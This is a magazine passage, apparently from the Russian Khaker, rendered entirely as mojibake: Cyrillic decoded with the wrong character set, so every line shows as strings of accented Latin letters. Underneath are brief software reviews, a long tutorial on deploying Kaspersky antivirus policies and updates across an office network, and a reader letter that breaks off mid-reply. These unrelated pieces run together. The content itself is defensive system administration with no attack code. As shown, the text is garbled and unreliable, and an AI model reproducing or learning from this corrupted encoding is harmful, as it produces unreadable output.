Óòèëèòà, êîí-
âåðòèðóþùàÿ
php-ñêðèïòû
â èñïîëíÿåìûå
exe-ôàéëû. Ñêðèïò èíòåãðèðóåòñÿ â ñðåäó, ò.å.
ïðè âûïîëíåíèè ñêðèïò ÍÅ ðàñïàêîâûâàåòñÿ
íà âèíò, à âûïîëíÿåòñÿ êàê íàñòîÿùàÿ ïðî-
ãðàììà èç ïàìÿòè. Ïåðåä èíòåãðàöèåé â ñðåäó
ñêðèïò çàøèôðîâûâàåòñÿ, à ïåðåä âûïîëíåíè-
åì ðàñøèôðîâûâàåòñÿ, ïîýòîìó â êàêîé-òî ìå-
ðå ýòî çàùèùàåò îò «êðýêåðîâ», õîòÿ, êîíå÷íî,
ýòî áîëüøå çàùèòà îò äóðàêà.

Åñòåñòâåííî, äëÿ âûïîëíåíèÿ ñêðèïòà â
ïàïêå ñ exe èëè â äèðåêòîðèè system32 äîë-
æíà ëåæàòü php5ts.dll.

Èç-çà òîãî, ÷òî ðàçðàáîò÷èêè ïõï ïðè ïå-
ðåõîäå íà íîâóþ âåòêó èíòåðïðåòàòîðà 5.1 íå
óäîñóæèëèñü ñîõðàíèòü åãî ñîâìåñòèìîñòü ñî
ñðåäîé 5.0, êîíâåðòåð ïðåäóñìàòðèâàåò äâå
âåðñèè: 5.0 è 5.1. Åñëè òû êîíâåðòèðóåøü â
5.0, à òâîÿ php5ts.dll âåðñèè 5.1, òî ñêðèïò,
óâû, ðàáîòàòü íå áóäåò, òî÷íî òàê æå, êàê åñëè
êîíâåðòíåøü ñêðèïò äëÿ âåðñèè 5.1 è áóäåøü
çàïóñêàòü ñ âåðñèåé php5ts.dll 5.0, ñêðèïò.

Keyboard Maniac 4.2
Îïèñàíèå ïðîãðàììû ñòîèò íà÷àòü ñ îïðîâåðæå-
íèÿ èíôîðìàöèè, îïóáëèêîâàííîé íà îôèöèàëü-
íîì ñàéòå: «Keyboard Maniac (KeyMan) — ýòî
ìåíåäæåð ãîðÿ÷èõ êëàâèø, êîòîðûé ïîçâîëÿåò
ðàáîòàòü ñ íåñòàíäàðòíûìè êëàâèøàìè íà
ìóëüòèìåäèéíûõ ðàñøèðåííûõ êëàâèàòóðàõ, áåç
óñòàíîâêè äîïîëíèòåëüíûõ äðàéâåðîâ». Ýòî íå-
ïðàâäà. Òåñòèðîâàíèå ïðîãðàììû íà ñèñòåìàõ ñ
êëàâèàòóðàìè Genius KB12e è KB16e ïîêàçàëî
íåðàáîòîñïîñîáíîñòü ïðîãðàììû áåç óñòàíîâêè
ïàêåòà äðàéâåðîâ Media Key.

Âïðî÷åì, ÷èòàÿ ñïðàâêó ê ïðîãðàììå, ìîæ-
íî óâèäåòü íåñêîëüêî èíóþ èíôîðìàöèþ. Ðåêî-
ìåíäóåòñÿ ïîïðîáîâàòü óòèëèòó KeySpy, êîòîðàÿ
ïîçâîëÿåò óçíàâàòü êîäû íàæàòûõ êëàâèø. Íà
âñå íàæàòèÿ ìóëüòèìåäèéíûõ êëàâèø (êëàâèàòó-
ðà Genius KB12e) ïðîãðàììà îòâå÷àëà îäèíàêî-
âî (êîä «255 0 128»). Äàëåå â ñïðàâêå ñëåäóåò
èíôîðìàöèÿ: «Âàì íå ïîâåçëî, íóæíû ðîäíûå
äðàéâåðà äëÿ âàøåé êëàâèàòóðû. Åäèíîãî ñòàí-
äàðòà íåò, êàæäûé ïðîèçâîäèòåëü äåëàåò êëà-
âèàòóðû òàê, êàê åìó íðàâèòñÿ, íà îäíèõ êëàâèà-
òóðàõ âñå äîïîëíèòåëüíûå êëàâèøè ïåðåõâàòû-
âàþòñÿ ñòàíäàðòíûìè äðàéâåðàìè Windows, íà
äðóãèõ íàäî îáÿçàòåëüíî ñòàâèòü äðàéâåðà èçãî-
òîâèòåëÿ». Ýòî ïðàâäà.

Online Armor v1.1.1.826
Çàùèùàåò êîìïüþòåð îò ðàçíîîáðàçíûõ íåæå-
ëàòåëüíûõ ïðèøåëüöåâ — spyware, adware,
êåéëîããåðîâ è ò.ï. Ïðîèçâîäèò ìîíèòîðèíã ñè-
ñòåìû â ðåæèìå ðåàëüíîãî âðåìåíè è ïðè îá-
íàðóæåíèè íåæåëàòåëüíûõ «äîâåñêîâ» íå-
ìåäëåííîãî áëîêèðóåò èõ ðàáîòó, à çàòåì 
è óäàëÿåò èç ñèñòåìû.

PIMone Ver 5.1
Build:2006.7.4.145
PIMone — îòëè÷íûé åæåäíåâíèê, íàñòðàèâàå-
ìûé ïîä ñâîè âêóñû è îñîáåííîñòè, ñ êàëåíäà-
ðåì, òåëåôîííîé êíèæêîé è ìíîãèìè äðóãèìè
ïðèÿòíîñòÿìè, êîòîðûå ñîâåðøåííî íåîáõîäè-
ìû â ïîâñåäíåâíîé ðàáîòå. Çàùèòà ñåêðåòíûõ
çàïèñåé ïàðîëåì, ïîèñê ïî êëþ÷åâûì ñëîâàì
è òàê äàëåå — âñå ê òâîèì óñëóãàì!
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Ïðåæäå ÷åì ïðèñòóïèòü ê îêîí÷à-
òåëüíîé íàñòðîéêå ïîëèòèêè, çàé-
äåì íà ìàøèíó íåñ÷àñòíîãî íàøåãî
Áàëàãàíîâà è ïîñìîòðèì, êàê
äåéñòâóåò óæå ñîçäàííàÿ íàìè ïî-
ëèòèêà. Çàïóñêàåì àíòèâèðóñ
íà ìàøèíå Áàëàãàíîâà, çàõîäèì â
çàêëàäî÷êó «Íàñòðîéêà», âûáèðà-
åì ïóíêò «Ïîñòîÿííàÿ çàùèòà».
Êàðòèíà äàëåêî íå èäåàëüíà: ïîëü-
çîâàòåëü ìîæåò îòêëþ÷èòü ïîñòî-
ÿííóþ çàùèòó ôàéëîâîé ñèñòåìû.
È ïëþñ êî âñåìó îïåðàöèè íàä
îïàñíûìè îáúåêòàìè íå ñîîòâåò-
ñòâóþò íàøåé íàñòðîéêå.

Óñòðàíèì äàííóþ íåïðèÿòíîñòü.
Çàõîäèì â ðåäàêòèðîâàíèå ïîëèòè-
êè (â àäìèíêèòå) äâîéíûì ùåë÷êîì
ìûøè íà åå íàçâàíèè. Èäåì íà çàê-
ëàäêó «Äîïîëíèòåëüíûå» è çàìûêà-
åì âñå çàìî÷êè. Äàëåå çàêëàäêà
«Ñèñòåìíûå çàäà÷è». Îòìå÷àåì
âñå ãàëî÷êè è îñîáîå âíèìàíèå
óäåëÿåì ïóíêòó «Ïîñòîÿííàÿ çàùè-
òà îò ñåòåâûõ àòàê». Ïîÿñíþ âêðàò-
öå. Êòî õîòü ðàç ñòàâèë ñåáå íà ìà-
øèíó ïåðñîíàëüíûé ôàéðâîë, òîò
ïðåäñòàâëÿåò ñåáå, çà÷åì îí íóæåí.
Äëÿ òåõ, êòî íå ñòàâèë: äàííàÿ ãà-
ëî÷êà ïîäêëþ÷àåò â àíòèâèðóñå

Êàñïåðñêîãî ìîäóëü, îòâåòñòâåííûé
çà çàùèòó ïîðòîâ êîìïüþòåðà îò
ñåòåâûõ àòàê. Ýòî íåêîå ïîäîáèå
ïåðñîíàëüíîãî ôàéðâîëà. Îïÿòü
æå, íå çàáûâàåì çàìêíóòü çàìî÷åê.
«Óãðîçû è èñêëþ÷åíèÿ» òóò âñå
ïîíÿòíî è áåç îáúÿñíåíèé. Åñëè
ó òåáÿ íà âèíòå êó÷à îêîëîõàêåðñ-
êîãî ñîôòà, òî â îò÷åòàõ àíòèâèðó-
ñà òû áóäåøü ïîñòîÿííî ëèöåçðåòü
ïðåäóïðåäèòåëüíûå íàäïèñè.

Ìîæåøü ïîïûòàòüñÿ äîáàâèòü
ñâîè ëþáèìûå êðÿêè è èì ïîäîáíûå
ïðîãè â èñêëþ÷åíèÿ, è, ïî èäåå, àí-
òèâèðóñ ïåðåñòàíåò íà íèõ îáðà-
ùàòü âíèìàíèå. Íî ýòî íóæíî äå-
ëàòü òîëüêî äëÿ ñåáÿ, ëþáèìîãî,
à ïîëüçîâàòåëåé, áàëóþùèõñÿ òà-
êèì ñîôòîì, óíè÷òîæàòü íà êîðíþ.

Èòàê, îòêëþ÷èëè ó ïîëüçîâàòåëÿ
âîçìîæíîñòü ÷òî-ëèáî ìåíÿòü
â íàñòðîéêàõ. Òåïåðü òîëüêî òû
âëàäååøü àíòèâèðóñîì êîíå÷íîãî
ïîëüçîâàòåëÿ.

Åùå ÷óòü-÷óòü ïðî íàñòðîéêè.
Íóæíî ïðîâåðèòü, âñå ëè íàñòðîéêè
òû çàïðåòèë èçìåíÿòü ïîëüçîâàòå-
ëþ. Äëÿ ýòîãî âûçîâè ñâîéñòâà ïî-
ëèòèêè è ïðîéäèñü ïî âñåì çàêëàä-
êàì, çàìûêàÿ çàìî÷êè. 

Ñ íàñòðîéêàìè çàùèòû ðàçîá-
ðàëèñü. Íàñòðîèì îáíîâëåíèÿ àíòè-
âèðóñíûõ áàç è ìîäóëåé äëÿ Ñåðâå-
ðà àäìèíèñòðèðîâàíèÿ. Ñíà÷àëà
ñîçäàäèì çàäà÷ó ïîëó÷åíèÿ îáíîâ-
ëåíèé. Â Kaspersky Administration Kit
çàõîäèì â ïàïî÷êó «Ãëîáàëüíûå çà-
äà÷è» «Äîáàâèòü çàäà÷ó» çà-
ïóñêàåòñÿ ìàñòåð «Next» äàåì
èìÿ çàäà÷å «Îáíîâëåíèÿ Ñåðâå-
ðà àäìèíèñòðèðîâàíèÿ» «Next»
â îòêðûâøåìñÿ ñïèñêå çàäà÷ âûáè-
ðàåì ïðèëîæåíèå Kaspersky
Administration Kit, à òèï çàäà÷è
Ïîëó÷åíèå îáíîâëåíèé Ñåðâåðîì
àäìèíèñòðèðîâàíèÿ «Next» âû-
áèðàåì Ñåðâèñ îáíîâëåíèÿ ëàáîðà-
òîðèè Êàñïåðñêîãî. Åñëè òâîÿ ñåòü
èìååò äëÿ âûõîäà â èíòåðíåò ïðîê-
ñè-ñåðâåð, òî òåïåðü ñàìîå âðåìÿ
ââåñòè åãî àäðåñ. Íàñòóïàåì íà
êíîïêó «Ïàðàìåòðû LAN» îòìå-
÷àåì ãàëî÷êîé «Èñïîëüçîâàòü ïðîê-
ñè-ñåðâåð». Äàëåå îïÿòü ëèðè÷åñ-
êîå îòñòóïëåíèå. Äàáû òû ìîã âñåã-
äà îòñëåæèâàòü, êòî èìåííî èç òâî-
åé êîíòîðû è çà÷åì ëàçèò â èíòåð-
íåò, è ïðè ýòîì íå ïóòàòü ñåðâåðû,
êîòîðûå çàíèìàþòñÿ îáíîâëåíèåì,
ÿ ðåêîìåíäóþ çàâåñòè íà ïðîêñå
ïîëüçîâàòåëÿ, ïîä ó÷åòíîé çàïèñüþ
êîòîðîãî è áóäóò ïðîèñõîäèòü âñå
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îáíîâëåíèÿ â òâîåé ñåòè. Íàçîâåì
åãî, íàïðèìåð, updater. Âïèñûâàåì
âñå ïàðàìåòðû «Next».

Îïÿòü ââîäèì ó÷åòíóþ çàïèñü.
Òåïåðü íóæíà çàïèñü, îáëàäàþùàÿ
àäìèíñêèìè ïðàâàìè íà Ñåðâåð àä-
ìèíèñòðèðîâàíèÿ. Ìîæíî îñòàâèòü
ïî óìîë÷àíèþ, âåäü òû àäìèíîì ñè-
äèøü. «Next». Ïðèøëè ê ðàñïèñà-
íèþ: åñëè ìíå íå èçìåíÿåò ïàìÿòü,
Ëàáîðàòîðèÿ Êàñïåðñêîãî ïðîèçâî-
äèò îáíîâëåíèå àíòèâèðóñíûõ áàç
êàæäûå 3–6 ÷àñîâ. Íî òû ñìîòðè
ñàì, ñ êàêîé ÷àñòîòîé çàêà÷èâàòü îá-
íîâëåíèå: ïðè âûäåëåííîì è ïîñòî-
ÿííîì äîñòóïå â èíòåðíåò ðàñïèñà-
íèå ìîæíî íàñòðîèòü ðàç â ñóòêè —
íî÷üþ, åñëè ó òåáÿ äèàëàï —
òî «Âðó÷íóþ», áóäåøü çàïóñêàòü
ñàì. Îáðàòè âíèìàíèå íà ãàëî÷êó
«Çàïóñêàòü ïðîïóùåííûå çàäà÷è»,
åùå ïàðó ðàç «Next», òåïåðü âñå,
çàäà÷à ñîçäàíà. È òåïåðü ñàìîå
ãëàâíîå: ÷òîáû ïîëüçîâàòåëè
íå òðàòèëè òðàôèê è íå òàùèëè îá-
íîâëåíèÿ ñ èíåòà ñàìè, ó íèõ íåîá-
õîäèìî ïðèñòðåëèòü çàäà÷ó ïîëó÷å-
íèÿ îáíîâëåíèé, à Ñåðâåð àäìèíè-
ñòðèðîâàíèÿ ìû ñåé÷àñ çàñòàâèì
ðàçäàâàòü îáíîâëåíèÿ âñåì êëèåí-
òàì. Ëåçåì íà çàêëàäêó îáíîâëå-
íèÿ — ïðàâàÿ êíîïêà ìûøè
«Properties» — è îòìå÷àåì ãàëî÷êîé
«Àâòîìàòè÷åñêè ðàñïðîñòðàíÿòü îá-
íîâëåíèÿ àíòèâèðóñíûõ áàç íà êëè-
åíòñêèå êîìïüþòåðû». Òåïåðü îá-
íîâëåíèå áóäåò âûãëÿäåòü òàê: Ñåð-
âåð àäìèíèñòðèðîâàíèÿ çàêà÷èâàåò
îáíîâëåíèÿ è, ïðè çàãðóçêå îïåðà-
öèîíêè, êàê òîëüêî îí óâèäèò êëèåí-
òà â ñåòè, òî òóò æå òîëêíåò íà íåãî
îáíîâëåíèÿ áàç. 

Åùå íåñêîëüêî øòðèõîâ è ìû
çàêîí÷èì. Íåîáõîäèìî âêëþ÷èòü
ðàñïîçíàâàíèå âèðóñíîé àòàêè:
ïðàâàÿ êíîïêà ìûøè íà Ñåðâåðå
àäìèíèñòðèðîâàíèÿ
«Properties» çàêëàäêà «Âèðóñíàÿ
àòàêà» — îòìå÷àåì ãàëî÷êîé
«Âêëþ÷èòü ðåæèì ðàñïîçíàâàíèå
âèðóñíîé àòàêè». 

Òåïåðü ðàçáåðåìñÿ ñ ïîëíîé
ïðîâåðêîé êîìïüþòåðà ïîëüçîâàòå-
ëÿ. Åñòåñòâåííî, ïîëüçîâàòåëþ íå

íðàâèòñÿ, êîãäà åãî ìàøèíà íà÷è-
íàåò òîðìîçèòü, ïîëüçîâàòåëü çëèò-
ñÿ, è ñòó÷èò íà òåáÿ íà÷àëüñòâó, 
íî îñòàâèòü åãî áåç ïðîâåðêè ìû íå
ìîæåì. Äåëàåì òàê: âñå óõîäÿò íà
îáåä ïðèìåðíî â îäíî è òî æå âðå-
ìÿ, çíà÷èò, íà ýòî âðåìÿ è íàñòðî-
èì ïîëíóþ ïðîâåðêó åãî ìàøèíû.
Äëÿ ýòîãî ñîçäàåì çàäà÷ó, êîòîðóþ
òàê è íàçîâåì «Ïîëíàÿ ïðîâåðêà
êîìïüþòåðà SRV». 

«Ãðóïïû» «Ðàáî÷èå ñòàí-
öèè» «Ãðóïïîâûå çàäà÷è» äî-
áàâèòü çàäà÷ó. Çàïóñòèëñÿ ìàñòåð,
äàëüøå òåáå óæå âñå äî áîëè çíà-
êîìî: «Next» èìÿ çàäà÷å äàåì
«Ïîëíàÿ ïðîâåðêà êîìïüþòåðà»
ïðèëîæåíèå âûáèðàåì «Àíòèâèðóñ
Êàñïåðñêîãî 5.0 äëÿ Windows
Workstation» òèï çàäà÷è «Ïðîâåð-
êà ïî òðåáîâàíèþ» «Next»
«Óðîâåíü çàùèòû» ïðàâèì ðóêà-
ìè îòìå÷àåì «Íàñòðîéêà ïîëüçî-
âàòåëÿ» êíîïêà «Íàñòðîéêà...»
çàêëàäêà «Äîïîëíèòåëüíî» îòìå-
÷àåì âñå «Îê». Òåïåðü «Äåéñòâèÿ
íàä îáíàðóæåííûì îáúåêòîì» âû-
áèðàåì «Ëå÷èòü, à åñëè íåâîçìîæ-
íî — óäàëÿòü» «Ïîäîçðèòåëüíûé
îáúåêò» îñòàâëÿåì ïî óìîë÷à-
íèþ. Åñëè íà êîìïå ïîëüçîâàòåëÿ
÷òî-ëèáî îáíàðóæèòñÿ, îí ê òåáå
ïðèáåæèò ñ æàëîáàìè ñàì. «Next».
Â îáúåêòàõ ïðîâåðêè îòìå÷àåì âñå,
êðîìå ïðîâåðêè «Ñåòåâûõ äèñêîâ»,
èíà÷å ó òåáÿ âñÿ ñåòü ïîâèñíåò
ââåðõ ïåðüÿìè, åñëè âñå êëèåíòû
íà îáåäå íà÷íóò ïðîâåðÿòü ñåòåâûå
äèñêè. «Next». «Ó÷åòíàÿ çàïèñü» —
çäåñü òû óêàçûâàåøü ó÷åòíóþ çà-
ïèñü ëîêàëüíîãî àäìèíà äëÿ âñåõ
êëèåíòñêèõ ìàøèí. «Next». «Ðàñïè-
ñàíèå» — âîò è äîáðàëèñü: óêàçû-
âàåøü âðåìÿ ñâîåãî îáåäåííîãî ïå-
ðåðûâà. Ñòàâèì «Êàæäûé N äåíü»
è íóæíîå âðåìÿ. È íå çàáóäü óáðàòü
ãàëî÷êó «Çàïóñêàòü ïðîïóùåííûå
çàäà÷è». Èíà÷å, åñëè þçåð íà îáåä
âûêëþ÷èò ñâîþ ìàøèíó, òî ïîñëå
îáåäà, êîãäà îí åå âêëþ÷èò, çàïóñ-
òèòñÿ ïîëíàÿ ïðîâåðêà. Äâàæäû
«Next» è ôèíèø. Çàäà÷à ñîçäàíà.
Òåïåðü äàâàé ïîñìîòðèì, êàê çàäà-

÷à íàêðóòèëàñü íà ìàøèíó ïîëüçî-
âàòåëÿ. Ìû íå äàðîì íàçâàëè ñåð-
âåðíóþ çàäà÷ó «Ïîëíàÿ ïðîâåðêà
êîìïüþòåðà SRV». Äîáàâëåíèå
SRV ïîçâîëèò íàì îòëè÷àòü çàäà÷è
ëîêàëüíûå îò çàäà÷ Ñåðâåðà àäìè-
íèñòðèðîâàíèÿ. Ñíà÷àëà ïîñìîòðèì
íà ìàøèíó ïîëüçîâàòåëÿ ñêâîçü
ïðèçìó àäìèíêèòà. Äâîéíîé ùåë÷îê
ìûøè íà ìàøèíå ïîëüçîâàòåëÿ,
çàêëàäêà «Çàäà÷è».

Òåïåðü ãëÿíåì, ÷òî òâîðèòñÿ
íà ìàøèíå ñàìîãî ïîëüçîâàòåëÿ.
Îòêðûâàåì îêíî Êàñïåðñêîãî àíòèâè-
ðóñà, ïåðåõîäèì íà çàêëàäêó «Íàñò-
ðîéêè» «Ïðîâåðêà ïî òðåáîâàíèþ». 

Ëîêàëüíàÿ çàäà÷à îòêëþ÷åíà,
à ñåðâåðíàÿ ïðåäïèñûâàåò ïðîâî-
äèòü  ïîëíóþ ïðîâåðêó êàæäûé
äåíü â 12.30.

Âñå îñòàëüíûå íàñòðîéêè
òû ñäåëàåøü ïî îáðàçó è ïîäîáèþ
ýòîé. Åäèíñòâåííàÿ ðåêîìåíäàöèÿ —
êàê ÿ óæå ãîâîðèë, äëÿ ñåðâåðíûõ
çàäà÷ â íàçâàíèè äîáàâëÿòü êàêîé-
íèáóäü îïîçíàâàòåëüíûé çíàê, òèïà
SRV. Òåïåðü ïîñìîòðèì, ãäå æå
ó íàñ íà ìàøèíå êëèåíòà ïðÿ÷åòñÿ
êîëè÷åñòâî çàïèñåé â âèðóñíîé áàçå.
Äåëàåì ýòî ÷åðåç àäìèíêèò. Äâîé-
íîé ùåë÷îê ìûøè íà ìàøèíå êëèåí-
òà, ïåðåõîäèì íà çàêëàäêó «Ïðèëî-
æåíèÿ», äâîéíîé ùåë÷îê ìûøè íà
«Àíòèâèðóñ Êàñïåðñêîãî 5.0 äëÿ
Windows Workstation» è voila.

Èòàê, ìû íàñòðîèëè ïðàêòè-
÷åñêè âñå, ÷òî íåîáõîäèìî äëÿ çà-
ùèòû ñåòè îò âèðóñîâ. Òåïåðü òà-
êèì æå îáðàçîì òû ñîçäàåøü è ïî-
ëèòèêè è çàäà÷è äëÿ ãðóïïû «Ñåð-
âåðû». Òåïåðü î ãëîáàëüíûõ íàñò-
ðîéêàõ. Åñëè ó òåáÿ â ñåòè åñòü
ìàøèíû èëè ãðóïïû, êîòîðûå èñ-
ïîëüçóþò â åæåäíåâíîé ðàáîòå
ñêðèïòû, ìàêðîñû è ò.ä., òî äëÿ 
òàêèõ ìàøèí íåîáõîäèìî ñîçäàòü
ñâîþ îòäåëüíóþ ãðóïïó è â ïîëè-
òèêå ýòîé ãðóïïû ðàçðåøèòü âû-
ïîëíåíèå ìàêðîñîâ-ñêðèïòîâ. Âîò
ïî÷åìó óäîáíî äëÿ ðàçíûõ ïîëè-
òèê ñîçäàâàòü îòäåëüíûå ãðóïïû.
Åñëè áû ìû ïðîïèñàëè ïîëèòèêó
íà óðîâíå êîðíåâîé ïàïêè «Ãðóï-
ïû», òî óæå íèêàêèìè ñðåäñòâàìè
íå ñìîãëè áû ïåðåêðûòü ïîëèòèêó
êîðíåâîé ãðóïïû. Åñëè ñåòü áîëü-
øàÿ, èìååò ñìûñë ñåãìåíòèðîâàòü
åå. Äëÿ êàæäîãî ñåãìåíòà ñîçäàòü
ñâîþ ãðóïïó. Â àäìèíêèòå åñòü
òàêæå âîçìîæíîñòü ñîçäàâàòü ïîä-
÷èíåííûå Ñåðâåðû àäìèíèñòðèðî-
âàíèÿ. Òîãäà ñåòü áóäåò âûãëÿäåòü
ïðèìåðíî òàê: óñòàíàâëèâàåòñÿ
êîðíåâîé Ñåðâåð àäìèíèñòðèðîâà-
íèÿ, â êîðíåâîì ñåðâåðå ñîçäàþò-
ñÿ ãðóïïû, îòâå÷àþùèå çà ñâîé
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ñåãìåíò ñåòè. Â êàæäîé ãðóïïå ñó-
ùåñòâóåò ñâîé Ñåðâåð àäìèíèñò-
ðèðîâàíèÿ, îòâå÷àþùèé çà ñâîþ
ãðóïïó. Öåíòðàëüíûé Ñåðâåð àä-
ìèíèñòðèðîâàíèÿ îòâå÷àåò çà îá-
íîâëåíèÿ âñåé ñåòè, îí îäèí ïðî-
èçâîäèò çàêà÷êó îáíîâëåíèé 
ïðîãðàììû, ìîäóëåé è àíòèâèðóñ-
íûõ áàç è ðàññûëàåò âñå îáíîâëå-
íèÿ ïîä÷èíåííûì ñåðâåðàì. Òå,
â ñâîþ î÷åðåäü, îáíîâëÿþò êëèåí-
òîâ ñâîèõ ãðóïï. 

Äëÿ òîãî ÷òîáû öåíòðàëüíûé
Ñåðâåð àäìèíèñòðèðîâàíèÿ îáíîâ-
ëÿë ïîä÷èíåííûå ñåðâåðû, íåîáõî-
äèìî âûáðàòü ñâîéñòâà ïóíêòà
«Ãëîáàëüíûå çàäà÷è» çàêëàä-
êà «Íàñòðîéêè» îòìåòèòü ãàëî÷-
êîé «Ôîðñèðîâàòü îáíîâëåíèå ïîä-
÷èíåííûõ ñåðâåðîâ».

À â íàñòðîéêàõ ïîä÷èíåííûõ
Ñåðâåðîâ àäìèíèñòðèðîâàíèÿ íåîá-
õîäèìî óêàçàòü èñòî÷íèê îáíîâëå-
íèÿ: «Ãëîáàëüíûå çàäà÷è» ñâîé-
ñòâà çàäà÷è ïîëó÷åíèÿ îáíîâëå-
íèé çàêëàäêà «Íàñòðîéêè»

â ïîëå «Èñòî÷íèê îáíîâëåíèÿ»
æìåì êíîïêó «Äîáàâèòü»
è îòìå÷àåì «Ãëàâíûé Ñåðâåð àäìè-
íèñòðèðîâàíèÿ».

Âñå äåéñòâèÿ, êîòîðûå ìû
ïðîèçâåëè, ïðåäëàãàåòñÿ îòêàòàòü
íà îäíîé êëèåíòñêîé ìàøèíå. 
Ïîñëå îòêàòêè ïîëèòèê, çàäà÷, 
ïîëó÷åíèÿ îáíîâëåíèé, ïðîâåðêè
ìàøèíû êëèåíòà òû ãîòîâ ðàçâåð-
íóòü àíòèâèðóñ çà îäèí ðàç íà âñåé
ñâîåé ñåòè.

Ëèðè÷åñêîå îòñòóïëåíèå: âîç-
ìîæíîñòè àäìèíêèòà ïîçâîëÿþò àâ-
òîìàòè÷åñêè ðàçâîðà÷èâàòü àíòèâè-
ðóñ ïðè âêëþ÷åíèè íîâîé ìàøèíû
â ñåòü. Ýòî ìîæíî ñäåëàòü íà îñíî-
âå äàííûõ Active Directory, íà îñíî-
âå IP-àäðåñîâ. Äëÿ àâòîìàòè÷åñêîãî
ðàçâîðà÷èâàíèÿ íåîáõîäèìî çàéòè
â ñâîéñòâà ïàïêè «Ãðóïïû» çàê-
ëàäêà «Êëèåíòñêèå êîìïüþòåðû» —
è èçó÷èòü âîçìîæíîñòè äàííîé
íàñòðîéêè. Îäíàêî ïðåäïî÷òèòåëü-
íåå, íàâåðíî, êîíòðîëèðîâàòü âåñü
ïðîöåññ âðó÷íóþ, ÷åðåç ñîçäàííûå
ãðóïïû äëÿ óñòàíîâêè. 

Â ïàïêå «Óäàëåííàÿ óñòàíîâ-
êà» íàõîäÿòñÿ èíñòàëëÿöèîííûå ïà-
êåòû. Ïðè çàïóñêå ïàêåòà ïîÿâëÿåò-
ñÿ Ìàñòåð óñòàíîâêè. ×åðåç íåãî

òîæå ìîæíî óñòàíîâèòü àíòèâèðóñ
îïòîì íà áîëüøîå êîëè÷åñòâî ìà-
øèí. Ìåòîäîâ ìíîãî, äåðçàé.

Îáðàòèì òåïåðü ñâîé íåçàìóò-
íåííûé âèðóñàìè âçîð íà ñïîñîáû
ïðîñìîòðà ñîáûòèé ñðåäñòâàìè àä-
ìèíêèòà. Äëÿ áåãëîãî ïðîñìîòðà
ñîñòîÿíèÿ çàùèòû ñåòè äîñòàòî÷íî
çàéòè íà çàêëàäî÷êó «Ñîñòîÿíèå
çàùèòû». Åæåäíåâíî òåáÿ äîëæíî
èíòåðåñîâàòü äâà ïóíêòà: «Àíòèâè-
ðóñíàÿ ñòàòèñòèêà» è «Îáíîâëå-
íèÿ». Äëÿ áîëåå ïîäðîáíîãî àíàëè-
çà ïðîöåññîâ, ñâÿçàííûõ ñ àíòèâè-
ðóñíîé çàùèòîé, çàõîäèì â ïàïêó
«Îò÷åòû», âûáèðàåì èíòåðåñóþùèé
íàñ îò÷åò, ïðè íåîáõîäèìîñòè âû-
áèðàåì ïåðèîä, çà êîòîðûé íàñ èí-
òåðåñóþò äàííûå, àêòèâèðóåì ïóíêò
«Âêëþ÷àòü äàííûå ñ ïîä÷èíåííûõ

Ñåðâåðîâ àäìèíèñòðèðîâàíèÿ»
è íàæèìàåì êíîïêó «Ñîçäàòü îò-
÷åò». ×òîáû òåáÿ íå ìó÷èëè ðàíåå
ïîéìàííûå è áëàãîïîëó÷íî óáèòûå
âèðóñû, èìååò ñìûñë â ãðàôå «Ïå-
ðèîä ñîçäàíèÿ îò÷åòîâ» âûáèðàòü
îäíè ñóòêè. Òîãäà òû áóäåøü âèäåòü
ñòàòèñòèêó òîëüêî ïî ñâåæåïîéìàí-
íûì âèðóñàì.

È íàïîñëåäîê: ïðèõîäèøü óò-
ðîì íà ðàáîòó, äàåøü ïîë÷àñà, ÷òî-
áû âñå îïîçäàâøèå óñïåëè âêëþ-
÷èòü ñâîè êîìïüþòåðû, çàõîäèøü
â àäìèíêèò, íàñòóïàåøü íà öåíò-
ðàëüíóþ ïàïêó «Ãðóïïû». Âèäèøü
â êîðíå ïàïêè âñå êîìïû ñâîåé ñå-
òè áëåäíî ðîçîâîãî öâåòà, âûäåëÿ-
åøü èõ âñåõ è òàùèøü â ãðóïïó
«Óñòàíîâêà Workstation». Çàõîäèøü
â ãðóïïó «Óñòàíîâêà Workstation»
«Ãðóïïîâûå çàäà÷è» è çàïóñêàåøü
ñíà÷àëà çàäà÷ó «Óñòàíîâêà Àãåí-
òà», ÷åðåç ÷àñèê ñìîòðèøü â îò÷å-
òàõ, íàñêîëüêî óñïåøíî ïðîøëà óñ-
òàíîâêà. Çàòåì çàïóñêàåøü çàäà÷ó
«Óñòàíîâêà Workstation». Ïîñëå
îáåäà ñìîòðèøü îò÷åòû. Íà ñëåäó-
þùåå óòðî òû çàõîäèøü â àäìèí-
êèò è ïåðåòàñêèâàåøü âñå êîìïû
èç ãðóïïû «Óñòàíîâêà Workstation»
â ãðóïïó «Ðàáî÷èå ñòàíöèè». È òå-
ïåðü ñïîêîéíî êîíòðîëèðóåøü àí-
òèâèðóñíóþ çàùèòó âñåé ñåòè. Åñëè
ãäå-òî óñòàíîâêà ïðîøëà ñî ñáîåì,
÷èòàåøü îò÷åò îá îøèáêàõ â àä-
ìèíêèòå. Îáû÷íî ïðè óñòàíîâêå
ó ïîëüçîâàòåëÿ ëèáî íå õâàòàåò àä-
ìèíñêèõ ïðàâ, òîãäà íà êîíêðåòíóþ
ìàøèíó òû óêàçûâàåøü äðóãîãî
ïîëüçîâàòåëÿ ñ íåîáõîäèìûìè ïðà-
âàìè, ëèáî ïîëüçîâàòåëü âûêëþ÷èë
ìàøèíó è îáîðâàë ñâÿçü ñ Ñåðâå-
ðîì àäìèíèñòðèðîâàíèÿ. Îáðûâà-
åøü åìó ðóêè. Âñþ óñòàíîâêó òû
ìîæåøü ïðîâåñòè çà äåíü, ïîñëå
÷åãî íåîáõîäèìî ïðèíóäèòåëüíî
ïåðåãðóçèòü âñå êëèåíòñêèå ìàøè-
íû. Íî ÿ íå äóìàþ, ÷òî òâîåìó íà-
÷àëüñòâó ýòî ïîíðàâèòñÿ. Íó, âñå,
óäà÷è â áîðüáå ñ âèðóñàìè. Â ñëå-
äóþùèé ðàç ìû çàéìåìñÿ óñòàíîâ-
êîé ôàéðâîëà
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Çäðàâñòâóéòå, æóðíàë Õàêåð!
Ñ êàêîé ïåðèîäè÷íîñòüþ âûõîäèò Õàêåð ÑÏÅÖ è áûâàåò ëè îí ñ DVD? Õî÷ó
ïîäïèñàòüñÿ, íî íå çíàþ, êàê ïðàâèëüíî îôîðìèòü ïîäïèñêó.
Äî ñâèäàíüÿ.

Ïðèâåò!
Õàêåð ÑÏÅÖ — åæåìåñÿ÷íûé æóðíàë, ñ DVD åãî ïîêà íå áûâàåò, íî,
